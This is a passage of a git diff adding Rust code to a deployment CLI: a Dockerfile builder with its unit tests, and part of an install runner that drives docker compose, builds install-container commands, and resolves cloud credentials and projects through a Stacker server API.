manifest.scripts.contains_key("start"); + + if has_next_dependency && has_build_script && has_start_script { + return Some( + Self::default() + .base_image("node:20-alpine") + .work_dir("/app") + .env("NEXT_TELEMETRY_DISABLED", "1") + .copy("package*.json", "./") + .run("npm ci") + .copy(".", ".") + .run("npm run build") + .expose(3000) + .cmd(vec!["npm".into(), "run".into(), "start".into()]), + ); + } + + None + } + + pub fn base_image>(mut self, image: S) -> Self { + self.base_image = image.into(); + self + } + + pub fn work_dir>(mut self, dir: S) -> Self { + self.work_dir = dir.into(); + self + } + + pub fn copy>(mut self, src: S, dest: S) -> Self { + self.copy_sources.push((src.into(), dest.into())); + self + } + + pub fn run>(mut self, cmd: S) -> Self { + self.run_commands.push(cmd.into()); + self + } + + pub fn expose(mut self, port: u16) -> Self { + self.expose_ports.push(port); + self + } + + pub fn cmd(mut self, parts: Vec) -> Self { + self.cmd = parts; + self + } + + /// Convenience: sets CMD from a simple string, splitting by whitespace. + pub fn cmd_str>(mut self, cmd: S) -> Self { + self.cmd = cmd + .into() + .split_whitespace() + .map(|s| s.to_string()) + .collect(); + self + } + + pub fn entrypoint(mut self, parts: Vec) -> Self { + self.entrypoint = Some(parts); + self + } + + pub fn env, V: Into>(mut self, key: K, value: V) -> Self { + self.env_vars.push((key.into(), value.into())); + self + } + + pub fn label, V: Into>(mut self, key: K, value: V) -> Self { + self.labels.push((key.into(), value.into())); + self + } + + /// Render the Dockerfile contents as a `String`. + pub fn build(&self) -> String { + let mut lines: Vec = Vec::new(); + + // FROM + lines.push(format!("FROM {}", self.base_image)); + lines.push(String::new()); + + // LABELS + for (k, v) in &self.labels { + lines.push(format!("LABEL {}=\"{}\"", k, v)); + } + if !self.labels.is_empty() { + lines.push(String::new()); + } + + // WORKDIR + if self.work_dir != "/" { + lines.push(format!("WORKDIR {}", self.work_dir)); + lines.push(String::new()); + } + + // ENV + for (k, v) in &self.env_vars { + lines.push(format!("ENV {}={}", k, v)); + } + if !self.env_vars.is_empty() { + lines.push(String::new()); + } + + // Interleaved COPY and RUN in order + // + // We track the order: first emit copy_sources and run_commands by + // recording the insertion order. For simplicity in the builder we + // output all COPYs first, then all RUNs, followed by EXPOSE/CMD. + for (src, dest) in &self.copy_sources { + lines.push(format!("COPY {} {}", src, dest)); + } + if !self.copy_sources.is_empty() { + lines.push(String::new()); + } + + for cmd in &self.run_commands { + lines.push(format!("RUN {}", cmd)); + } + if !self.run_commands.is_empty() { + lines.push(String::new()); + } + + // EXPOSE + for port in &self.expose_ports { + lines.push(format!("EXPOSE {}", port)); + } + if !self.expose_ports.is_empty() { + lines.push(String::new()); + } + + // ENTRYPOINT + if let Some(ep) = &self.entrypoint { + let quoted: Vec = ep.iter().map(|p| format!("\"{}\"", p)).collect(); + lines.push(format!("ENTRYPOINT [{}]", quoted.join(", "))); + } + + // CMD + if !self.cmd.is_empty() { + let quoted: Vec = self.cmd.iter().map(|p| format!("\"{}\"", p)).collect(); + lines.push(format!("CMD [{}]", quoted.join(", "))); + } + + // Trim trailing blank lines + while lines.last().map_or(false, |l| l.is_empty()) { + lines.pop(); + } + + lines.push(String::new()); // final newline + lines.join("\n") + } + + /// Write Dockerfile to a path. Returns error if file already exists. + pub fn write_to(&self, path: &std::path::Path, overwrite: bool) -> Result<(), CliError> { + if !overwrite && path.exists() { + return Err(CliError::DockerfileExists { + path: path.to_path_buf(), + }); + } + let content = self.build(); + std::fs::write(path, content)?; + Ok(()) + } +} + +#[derive(Debug, Default, Deserialize)] +struct NodePackageManifest { + #[serde(default)] + scripts: std::collections::BTreeMap, + #[serde(default)] + dependencies: std::collections::BTreeMap, + #[serde(default, rename = "devDependencies")] + dev_dependencies: std::collections::BTreeMap, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Display — pretty-print Dockerfile to stdout +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +impl fmt::Display for DockerfileBuilder { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.build()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_static_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Static); + let content = builder.build(); + assert!(content.contains("FROM nginx:alpine")); + assert!(content.contains("COPY . /usr/share/nginx/html")); + assert!(content.contains("EXPOSE 80")); + } + + #[test] + fn test_node_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Node); + let content = builder.build(); + assert!(content.contains("FROM node:20-alpine")); + assert!(content.contains("COPY package*.json ./")); + assert!(content.contains("RUN npm ci --production")); + assert!(content.contains("EXPOSE 3000")); + assert!(content.contains("CMD [\"node\", \"server.js\"]")); + } + + #[test] + fn test_python_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Python); + let content = builder.build(); + assert!(content.contains("FROM python:3.12-slim")); + assert!(content.contains("RUN pip install")); + assert!(content.contains("EXPOSE 8000")); + } + + #[test] + fn test_rust_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Rust); + let content = builder.build(); + assert!(content.contains("FROM rust:1.77-alpine")); + assert!(content.contains("RUN cargo build --release")); + assert!(content.contains("EXPOSE 8080")); + } + + #[test] + fn test_go_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Go); + let content = builder.build(); + assert!(content.contains("FROM golang:1.22-alpine")); + assert!(content.contains("RUN go build")); + assert!(content.contains("EXPOSE 8080")); + } + + #[test] + fn test_php_dockerfile_from_app_type() { + let builder = DockerfileBuilder::from(AppType::Php); + let content = builder.build(); + assert!(content.contains("FROM php:8.3-fpm-alpine")); + assert!(content.contains("EXPOSE 9000")); + } + + #[test] + fn test_custom_dockerfile_is_bare() { + let builder = DockerfileBuilder::from(AppType::Custom); + let content = builder.build(); + assert!(content.contains("FROM alpine:3.18")); + // Custom has no COPY/RUN/CMD by default + assert!(!content.contains("COPY")); + assert!(!content.contains("RUN")); + assert!(!content.contains("CMD")); + } + + #[test] + fn test_builder_fluent_chaining() { + let content = DockerfileBuilder::new() + .base_image("ubuntu:22.04") + .work_dir("/opt/app") + .env("APP_ENV", "production") + .copy("src", "/opt/app/src") + .run("apt-get update && apt-get install -y curl") + .expose(8443) + .cmd_str("./start.sh") + .build(); + + assert!(content.contains("FROM ubuntu:22.04")); + assert!(content.contains("WORKDIR /opt/app")); + assert!(content.contains("ENV APP_ENV=production")); + assert!(content.contains("COPY src /opt/app/src")); + assert!(content.contains("RUN apt-get update")); + assert!(content.contains("EXPOSE 8443")); + assert!(content.contains("CMD [\"./start.sh\"]")); + } + + #[test] + fn test_builder_label() { + let content = DockerfileBuilder::new() + .label("maintainer", "team@example.com") + .build(); + assert!(content.contains("LABEL maintainer=\"team@example.com\"")); + } + + #[test] + fn test_builder_entrypoint() { + let content = DockerfileBuilder::new() + .entrypoint(vec!["./run.sh".into(), "--flag".into()]) + .build(); + assert!(content.contains("ENTRYPOINT [\"./run.sh\", \"--flag\"]")); + } + + #[test] + fn test_display_trait_matches_build() { + let builder = DockerfileBuilder::from(AppType::Static); + assert_eq!(format!("{}", builder), builder.build()); + } + + #[test] + fn test_write_to_refuses_overwrite_by_default() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("Dockerfile"); + std::fs::write(&path, "existing").unwrap(); + + let builder = DockerfileBuilder::from(AppType::Static); + let result = builder.write_to(&path, false); + assert!(result.is_err()); + } + + #[test] + fn test_write_to_allows_overwrite_when_flag_set() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("Dockerfile"); + std::fs::write(&path, "old").unwrap(); + + let builder = DockerfileBuilder::from(AppType::Static); + builder.write_to(&path, true).unwrap(); + + let written = std::fs::read_to_string(&path).unwrap(); + assert!(written.contains("FROM nginx:alpine")); + } + + #[test] + fn test_write_to_creates_new_file() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("Dockerfile"); + + let builder = DockerfileBuilder::from(AppType::Node); + builder.write_to(&path, false).unwrap(); + + let written = std::fs::read_to_string(&path).unwrap(); + assert!(written.contains("FROM node:20-alpine")); + } + + #[test] + fn test_project_aware_nextjs_node_dockerfile() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write( + dir.path().join("package.json"), + r#"{ + "scripts": { + "build": "next build", + "start": "next start -H 0.0.0.0 -p ${PORT:-3000}" + }, + "dependencies": { + "next": "16.2.6" + } + }"#, + ) + .unwrap(); + + let content = DockerfileBuilder::for_project(dir.path(), AppType::Node).build(); + assert!(content.contains("RUN npm ci")); + assert!(content.contains("RUN npm run build")); + assert!(content.contains("CMD [\"npm\", \"run\", \"start\"]")); + assert!(content.contains("ENV NEXT_TELEMETRY_DISABLED=1")); + assert!(!content.contains("CMD [\"node\", \"server.js\"]")); + } + + #[test] + fn test_project_aware_node_falls_back_without_nextjs_hints() { + let dir = tempfile::tempdir().unwrap(); + std::fs::write( + dir.path().join("package.json"), + r#"{ + "scripts": { + "start": "node index.js" + }, + "dependencies": { + "express": "^5.0.0" + } + }"#, + ) + .unwrap(); + + let content = DockerfileBuilder::for_project(dir.path(), AppType::Node).build(); + assert!(content.contains("RUN npm ci --production")); + assert!(content.contains("CMD [\"node\", \"server.js\"]")); + } + + #[test] + fn test_multiple_expose_ports() { + let content = DockerfileBuilder::new().expose(80).expose(443).build(); + assert!(content.contains("EXPOSE 80")); + assert!(content.contains("EXPOSE 443")); + } +} diff --git a/stacker/stacker/src/cli/generator/mod.rs b/stacker/stacker/src/cli/generator/mod.rs new file mode 100644 index 0000000..5a6c10c --- /dev/null +++ b/stacker/stacker/src/cli/generator/mod.rs @@ -0,0 +1,2 @@ +pub mod compose; +pub mod dockerfile; diff --git a/stacker/stacker/src/cli/install_runner.rs b/stacker/stacker/src/cli/install_runner.rs new file mode 100644 index 0000000..bd3ba25 --- /dev/null +++ b/stacker/stacker/src/cli/install_runner.rs @@ -0,0 +1,2819 @@ +use std::path::{Path, PathBuf}; + +use crate::cli::cloud_env; +use crate::cli::compose_targets; +use crate::cli::config_parser::{CloudOrchestrator, DeployTarget, StackerConfig}; +use crate::cli::credentials::{CredentialsManager, StoredCredentials}; +use crate::cli::error::CliError; +use crate::cli::stacker_client::{self, StackerClient}; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Constants +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Default Docker image for the install container (Terraform + Ansible). +pub const DEFAULT_INSTALL_IMAGE: &str = "trydirect/install-service:latest"; + +/// Mount point for stacker.yml inside the install container. +pub const CONTAINER_CONFIG_PATH: &str = "/app/stacker.yml"; + +/// Mount point for the compose file inside the install container. +pub const CONTAINER_COMPOSE_PATH: &str = "/app/docker-compose.yml"; + +/// Mount point for SSH keys inside the install container. +pub const CONTAINER_SSH_KEY_PATH: &str = "/root/.ssh/id_rsa"; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CommandExecutor — abstraction for running shell commands (DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Result of executing a command. +#[derive(Debug, Clone)] +pub struct CommandOutput { + pub exit_code: i32, + pub stdout: String, + pub stderr: String, +} + +impl CommandOutput { + pub fn success(&self) -> bool { + self.exit_code == 0 + } +} + +/// Abstraction over shell command execution. +/// +/// Production: `ShellExecutor` runs commands via `std::process::Command`. +/// Tests: `MockExecutor` records commands for assertion without side effects. +pub trait CommandExecutor: Send + Sync { + fn execute(&self, program: &str, args: &[&str]) -> Result; +} + +/// Production executor — actually runs docker commands. +pub struct ShellExecutor; + +impl CommandExecutor for ShellExecutor { + fn execute(&self, program: &str, args: &[&str]) -> Result { + let output = std::process::Command::new(program) + .args(args) + .output() + .map_err(|e| CliError::CommandFailed { + command: format!("{} {} — {}", program, args.join(" "), e), + exit_code: -1, + })?; + + Ok(CommandOutput { + exit_code: output.status.code().unwrap_or(-1), + stdout: String::from_utf8_lossy(&output.stdout).to_string(), + stderr: String::from_utf8_lossy(&output.stderr).to_string(), + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DeployContext — everything needed for a deployment +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Aggregated deployment context passed to strategies. +#[derive(Debug, Clone)] +pub struct DeployContext { + /// Path to the stacker.yml config file. + pub config_path: PathBuf, + + /// Path to the generated docker-compose.yml. + pub compose_path: PathBuf, + + /// Working directory of the project. + pub project_dir: PathBuf, + + /// Whether this is a dry-run (plan) or real deployment (apply). + pub dry_run: bool, + + /// Install container image override. + pub image: Option, + + /// Remote deploy overrides from CLI flags. + pub project_name_override: Option, + pub key_name_override: Option, + pub key_id_override: Option, + pub server_name_override: Option, + + /// Container runtime preference ("runc" or "kata"). + pub runtime: String, + + /// Environment-specific config files collected from compose env_file and bind mounts. + pub config_bundle: Option, + + /// Whether the Stacker-managed proxy role should be requested from Install Service. + pub managed_proxy_feature_enabled: bool, + + /// Whether the user explicitly requested a fresh cloud server (`stacker deploy --force-new`). + pub force_new: bool, +} + +impl DeployContext { + pub fn install_image(&self) -> &str { + self.image.as_deref().unwrap_or(DEFAULT_INSTALL_IMAGE) + } +} + +fn should_run_managed_proxy_preflight(context: &DeployContext, target: DeployTarget) -> bool { + context.managed_proxy_feature_enabled && !(target == DeployTarget::Cloud && context.force_new) +} + +/// Outcome of a successful deployment. +#[derive(Debug, Clone)] +pub struct DeployResult { + pub target: DeployTarget, + pub message: String, + pub server_ip: Option, + /// Cloud deployment ID (set for remote orchestrator deploys). + pub deployment_id: Option, + /// Stacker server project ID (set for remote orchestrator deploys). + pub project_id: Option, + /// Server name used/generated for this deploy (for lockfile persistence). + pub server_name: Option, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// DeployStrategy — strategy pattern for deployment targets (OCP + DIP) +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Each deployment target implements this trait. +/// New targets can be added without modifying existing code (OCP). +pub trait DeployStrategy { + fn validate(&self, config: &StackerConfig) -> Result<(), CliError>; + fn deploy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result; + fn destroy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result<(), CliError>; +} + +/// Factory: map `DeployTarget` to its strategy implementation. +pub fn strategy_for(target: &DeployTarget) -> Box { + match target { + DeployTarget::Local => Box::new(LocalDeploy), + DeployTarget::Cloud => Box::new(CloudDeploy), + DeployTarget::Server => Box::new(ServerDeploy), + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// LocalDeploy — docker compose up/down +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Detect which compose invocation is available on this host. +/// +/// Returns `("docker", vec!["compose"])` when the Docker Compose plugin is +/// installed (`docker compose version` exits 0), or `("docker-compose", vec![])` +/// when only the standalone tool is available. +fn resolve_compose_cmd(executor: &dyn CommandExecutor) -> (&'static str, Vec<&'static str>) { + if let Ok(out) = executor.execute("docker", &["compose", "version"]) { + if out.success() { + return ("docker", vec!["compose"]); + } + } + ("docker-compose", vec![]) +} + +pub struct LocalDeploy; + +impl DeployStrategy for LocalDeploy { + fn validate(&self, _config: &StackerConfig) -> Result<(), CliError> { + // Local deploy only requires Docker to be available; + // that check happens at command level before calling deploy(). + Ok(()) + } + + fn deploy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result { + // In dry-run mode, artifacts have already been generated. + // Skip calling docker compose — it may not be available in all environments, + // and "dry run" means "preview, don't execute". + if context.dry_run { + return Ok(DeployResult { + target: DeployTarget::Local, + message: "Local deployment previewed successfully (dry-run)".to_string(), + server_ip: None, + deployment_id: None, + project_id: None, + server_name: None, + }); + } + + let compose_path = context.compose_path.to_string_lossy().to_string(); + + let (cmd, base_args) = resolve_compose_cmd(executor); + let mut args: Vec = base_args.iter().map(|s| s.to_string()).collect(); + + if let Some(ref env_file) = config.env_file { + let env_file_path = if env_file.is_absolute() { + env_file.clone() + } else { + context.project_dir.join(env_file) + }; + args.push("--env-file".into()); + args.push(env_file_path.to_string_lossy().to_string()); + } + args.push("--file".into()); + args.push(compose_path.clone()); + args.push("up".into()); + args.push("-d".into()); + args.push("--build".into()); + + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + let output = executor.execute(cmd, &args_refs)?; + + if !output.stdout.trim().is_empty() { + println!("{}", output.stdout); + } + if !output.stderr.trim().is_empty() { + eprintln!("{}", output.stderr); + } + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Local, + reason: format!("docker compose failed: {}", output.stderr.trim()), + }); + } + + Ok(DeployResult { + target: DeployTarget::Local, + message: "Local deployment started successfully".to_string(), + server_ip: None, + deployment_id: None, + project_id: None, + server_name: None, + }) + } + + fn destroy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result<(), CliError> { + let compose_path = context.compose_path.to_string_lossy().to_string(); + + let (cmd, base_args) = resolve_compose_cmd(executor); + let mut args: Vec = base_args.iter().map(|s| s.to_string()).collect(); + + if let Some(ref env_file) = config.env_file { + let env_file_path = if env_file.is_absolute() { + env_file.clone() + } else { + context.project_dir.join(env_file) + }; + args.push("--env-file".into()); + args.push(env_file_path.to_string_lossy().to_string()); + } + args.push("--file".into()); + args.push(compose_path); + args.push("down".into()); + args.push("--volumes".into()); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + let output = executor.execute(cmd, &args_refs)?; + + if !output.success() { + return Err(CliError::DeployFailed { + target: DeployTarget::Local, + reason: format!("docker compose down failed: {}", output.stderr.trim()), + }); + } + + Ok(()) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// InstallContainerCommand — builds `docker run` for the install container +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// Builder for `docker run` commands that launch the install container +/// with Terraform + Ansible for cloud/server deployments. +/// +/// Modeled after the existing install service docker-compose mounts +/// and the `ConfigureProxyCommandRequest` pattern in `forms/status_panel.rs`. +#[derive(Debug, Clone)] +pub struct InstallContainerCommand { + image: String, + volume_mounts: Vec<(String, String)>, + env_vars: Vec<(String, String)>, + action: InstallAction, + remove_after: bool, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum InstallAction { + Plan, + Apply, + Destroy, +} + +impl InstallAction { + pub fn as_str(&self) -> &'static str { + match self { + Self::Plan => "plan", + Self::Apply => "apply", + Self::Destroy => "destroy", + } + } +} + +impl InstallContainerCommand { + /// Create a new builder with the given image (or default). + pub fn new(image: Option<&str>) -> Self { + Self { + image: image.unwrap_or(DEFAULT_INSTALL_IMAGE).to_string(), + volume_mounts: Vec::new(), + env_vars: Vec::new(), + action: InstallAction::Apply, + remove_after: true, + } + } + + /// Mount a host path into the container. + pub fn mount(mut self, host_path: impl AsRef, container_path: &str) -> Self { + self.volume_mounts.push(( + host_path.as_ref().to_string_lossy().to_string(), + container_path.to_string(), + )); + self + } + + /// Add an environment variable. + pub fn env(mut self, key: &str, value: &str) -> Self { + self.env_vars.push((key.to_string(), value.to_string())); + self + } + + /// Set the action to perform (plan, apply, destroy). + pub fn action(mut self, action: InstallAction) -> Self { + self.action = action; + self + } + + /// Whether to remove the container after exit (--rm). Default: true. + pub fn remove_after(mut self, remove: bool) -> Self { + self.remove_after = remove; + self + } + + /// Build the argument list for `docker run`. + pub fn build_args(&self) -> Vec { + let mut args = vec!["run".to_string()]; + + if self.remove_after { + args.push("--rm".to_string()); + } + + for (host, container) in &self.volume_mounts { + args.push("-v".to_string()); + args.push(format!("{}:{}", host, container)); + } + + for (key, value) in &self.env_vars { + args.push("-e".to_string()); + args.push(format!("{}={}", key, value)); + } + + args.push(self.image.clone()); + args.push(self.action.as_str().to_string()); + + args + } + + /// Build from a `StackerConfig` and `DeployContext`, setting up + /// standard mounts and environment variables. + pub fn from_config( + config: &StackerConfig, + context: &DeployContext, + action: InstallAction, + ) -> Self { + let mut cmd = Self::new(Some(context.install_image())).action(action); + + // Mount stacker.yml + cmd = cmd.mount(&context.config_path, CONTAINER_CONFIG_PATH); + + // Mount compose file + cmd = cmd.mount(&context.compose_path, CONTAINER_COMPOSE_PATH); + + // Set project name + cmd = cmd.env("PROJECT_NAME", &config.name); + + // Cloud-specific configuration + if let Some(ref cloud) = config.deploy.cloud { + cmd = cmd.env("CLOUD_PROVIDER", &cloud.provider.to_string()); + + if let Some(ref region) = cloud.region { + cmd = cmd.env("CLOUD_REGION", region); + } + + if let Some(ref size) = cloud.size { + cmd = cmd.env("CLOUD_SIZE", size); + } + + // Mount SSH key if specified + if let Some(ref ssh_key) = cloud.ssh_key { + let resolved_ssh_key = resolve_ssh_key_path(ssh_key); + cmd = cmd.mount(&resolved_ssh_key, CONTAINER_SSH_KEY_PATH); + } + } + + // Server-specific configuration + if let Some(ref server) = config.deploy.server { + cmd = cmd.env("SERVER_HOST", &server.host); + cmd = cmd.env("SERVER_USER", &server.user); + cmd = cmd.env("SERVER_PORT", &server.port.to_string()); + + if let Some(ref ssh_key) = server.ssh_key { + let resolved_ssh_key = resolve_ssh_key_path(ssh_key); + cmd = cmd.mount(&resolved_ssh_key, CONTAINER_SSH_KEY_PATH); + } + } + + cmd + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// CloudDeploy — install container with Terraform/Ansible +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct CloudDeploy; + +impl DeployStrategy for CloudDeploy { + fn validate(&self, config: &StackerConfig) -> Result<(), CliError> { + if config.deploy.cloud.is_none() { + return Err(CliError::CloudProviderMissing); + } + + Ok(()) + } + + fn deploy( + &self, + config: &StackerConfig, + context: &DeployContext, + executor: &dyn CommandExecutor, + ) -> Result { + if let Some(cloud_cfg) = &config.deploy.cloud { + if cloud_cfg.orchestrator == CloudOrchestrator::Remote { + let cred_manager = CredentialsManager::with_default_store(); + let creds = + cred_manager.require_valid_token("remote cloud orchestrator deployment")?; + + if context.dry_run { + return Ok(DeployResult { + target: DeployTarget::Cloud, + message: "Remote cloud deploy dry-run validated payload and credentials" + .to_string(), + server_ip: None, + deployment_id: None, + project_id: None, + server_name: None, + }); + } + + // Resolve project name: CLI flag > config project.identity > config name + let project_name = context + .project_name_override + .clone() + .or_else(|| config.project.identity.clone()) + .unwrap_or_else(|| config.name.clone()); + + // Resolve cloud key name: CLI flag > config deploy.cloud.key + let key_name = context + .key_name_override + .clone() + .or_else(|| cloud_cfg.key.clone()); + + // Resolve server name: CLI flag > config deploy.cloud.server + let server_name = context + .server_name_override + .clone() + .or_else(|| cloud_cfg.server.clone()); + + let base_url = resolve_saved_stacker_base_url(&creds); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!("Failed to initialize async runtime: {}", e), + })?; + + let (response, effective_server_name) = rt.block_on(async { + let client = StackerClient::new_for_target( + &base_url, + &creds.access_token, + DeployTarget::Server, + ); + + // Step 1: Resolve or auto-create project + eprintln!(" Resolving project '{}'...", project_name); + let project_config = + compose_targets::config_with_compose_secret_target_services( + config, + &context.compose_path, + )?; + let mut project_body = stacker_client::build_project_body(&project_config); + if let Some(bundle) = &context.config_bundle { + stacker_client::attach_config_bundle_to_project_body( + &mut project_body, + bundle, + ); + } + let project = match client.find_project_by_name(&project_name).await? { + Some(p) => { + eprintln!(" Found project '{}' (id={}), syncing metadata...", p.name, p.id); + let updated = client + .update_project(p.id, project_body) + .await?; + eprintln!(" Updated project '{}' (id={})", updated.name, updated.id); + updated + } + None => { + eprintln!(" Project '{}' not found, creating...", project_name); + let p = client + .create_project(&project_name, project_body) + .await?; + eprintln!(" Created project '{}' (id={})", p.name, p.id); + p + } + }; + + if should_run_managed_proxy_preflight(context, DeployTarget::Cloud) { + cleanup_stale_managed_proxy_container( + &client, + project.id, + DeployTarget::Cloud, + ) + .await?; + } + + // Step 2: Resolve cloud credentials + let provider_str = cloud_cfg.provider.to_string(); + let provider_code = provider_code_for_remote(&provider_str); + let env_creds = resolve_remote_cloud_credentials(provider_code); + + let cloud_id = if let Some(cid) = context.key_id_override { + // --key-id flag: look up by ID (server checks ownership) + eprintln!(" Looking up cloud credentials by id={}...", cid); + match client.get_cloud(cid).await? { + Some(c) => { + eprintln!( + " Found cloud credentials (id={}, name='{}', provider={})", + c.id, c.name, c.provider + ); + Some(c.id) + } + None => { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Cloud credential id={} not found (or not owned by you). Use `stacker list clouds` to see available credentials.", + cid + ), + }); + } + } + } else if let Some(key_ref) = &key_name { + // --key flag: look up by name first, fall back to provider match + eprintln!(" Looking up saved cloud key '{}'...", key_ref); + match client.find_cloud_by_name(key_ref).await? { + Some(c) => { + eprintln!( + " Found cloud credentials (id={}, name='{}', provider={})", + c.id, c.name, c.provider + ); + Some(c.id) + } + None => match client.find_cloud_by_provider(key_ref).await? { + Some(c) => { + eprintln!( + " Found cloud credentials by provider (id={}, name='{}', provider={})", + c.id, c.name, c.provider + ); + Some(c.id) + } + None => { + // Try saving current env-var creds under this provider + let cloud_token = env_creds + .get("cloud_token") + .and_then(|v| v.as_str()); + let cloud_key = env_creds + .get("cloud_key") + .and_then(|v| v.as_str()); + let cloud_secret = env_creds + .get("cloud_secret") + .and_then(|v| v.as_str()); + + if cloud_token.is_some() + || cloud_key.is_some() + || cloud_secret.is_some() + { + eprintln!( + " No saved cloud '{}', saving from env vars...", + key_ref + ); + let saved = client + .save_cloud( + provider_code, + cloud_token, + cloud_key, + cloud_secret, + ) + .await?; + eprintln!( + " Saved/updated cloud credentials (id={})", + saved.id + ); + Some(saved.id) + } else { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Cloud key '{}' not found on server and no cloud credentials were found in env vars ({}).", + key_ref, + cloud_env::provider_env_summary(provider_code) + ), + }); + } + } + } + } + } else { + // No key specified: try to find existing cloud creds for this provider, + // or pass creds directly in deploy form from env vars + match client.find_cloud_by_provider(provider_code).await? { + Some(c) => { + eprintln!( + " Using saved cloud credentials (id={}, provider={})", + c.id, c.provider + ); + Some(c.id) + } + None => None, + } + }; + + ensure_remote_cloud_credentials_available( + cloud_id, + provider_code, + &env_creds, + )?; + + // Step 3: Resolve server by name + let server_id = if let Some(srv_name) = &server_name { + eprintln!(" Looking up server '{}'...", srv_name); + match client.find_server_by_name(srv_name).await? { + Some(s) => { + eprintln!( + " Found server '{}' (id={})", + s.name.as_deref().unwrap_or("unnamed"), + s.id + ); + Some(s.id) + } + None => { + return Err(CliError::DeployFailed { + target: DeployTarget::Cloud, + reason: format!( + "Server '{}' not found. Create it on the Stacker server first or remove --server flag.", + srv_name + ), + }); + } + } + } else { + None + }; + + // Step 4: Build deploy form + let mut deploy_form = stacker_client::build_deploy_form_with_options( + config, + stacker_client::DeployFormOptions { + include_managed_proxy: context.managed_proxy_feature_enabled, + }, + ); + if let Some(bundle) = &context.config_bundle { + stacker_client::attach_config_bundle_to_deploy_form( + &mut deploy_form, + bundle, + ); + } + + // Capture the server name from the form (auto-generated or overridden) + // so we can persist it in the deployment lock even if the API fetch + // after deploy doesn't return server details yet. + let effective_server_name = server_name.clone().or_else(|| { + deploy_form + .get("server") + .and_then(|s| s.get("name")) + .and_then(|n| n.as_str()) + .map(|s| s.to_string()) + }); + if let Some(sid) = server_id { + if let Some(server_obj) = deploy_form.get_mut("server") { + if let Some(obj) = server_obj.as_object_mut() { + obj.insert( + "server_id".to_string(), + serde_json::Value::Number(sid.into()), + ); + // When reusing an existing server, preserve + // the user-chosen / looked-up name rather + // than the auto-generated one. + if let Some(srv_name) = &server_name { + obj.insert( + "name".to_string(), + serde_json::Value::String(srv_name.clone()), + ); + } + } + } + } + + // Include env-var cloud creds in form if no saved cloud + if cloud_id.is_none() { + if let Some(cloud_obj) = deploy_form.get_mut("cloud") { + if let Some(obj) = cloud_obj.as_object_mut() { + for (k, v) in &env_creds { + obj.insert(k.clone(), v.clone()); + } + obj.insert( + "save_token".to_string(), + serde_json::Value::Bool(true), + ); + } + } + } + + // Inject container runtime preference + if let Some(form_obj) = deploy_form.as_object_mut() { + form_obj.insert( + "runtime".to_string(), + serde_json::json!(context.runtime), + ); + } + + // Step 5: Deploy + eprintln!(" Deploying project '{}' (id={})...", project_name, project.id); + let resp = client.deploy(project.id, cloud_id, deploy_form).await?; + + Ok((resp, effective_server_name)) + }).map_err(|e: CliError| e)?; + + let deploy_id = response + .meta + .as_ref() + .and_then(|m| m.get("deployment_id")) + .and_then(|v| v.as_i64()); + + let project_id = response.id; + + let mut message = format!( + "Cloud deployment requested via Stacker server (project='{}'", + project_name + ); + + if let 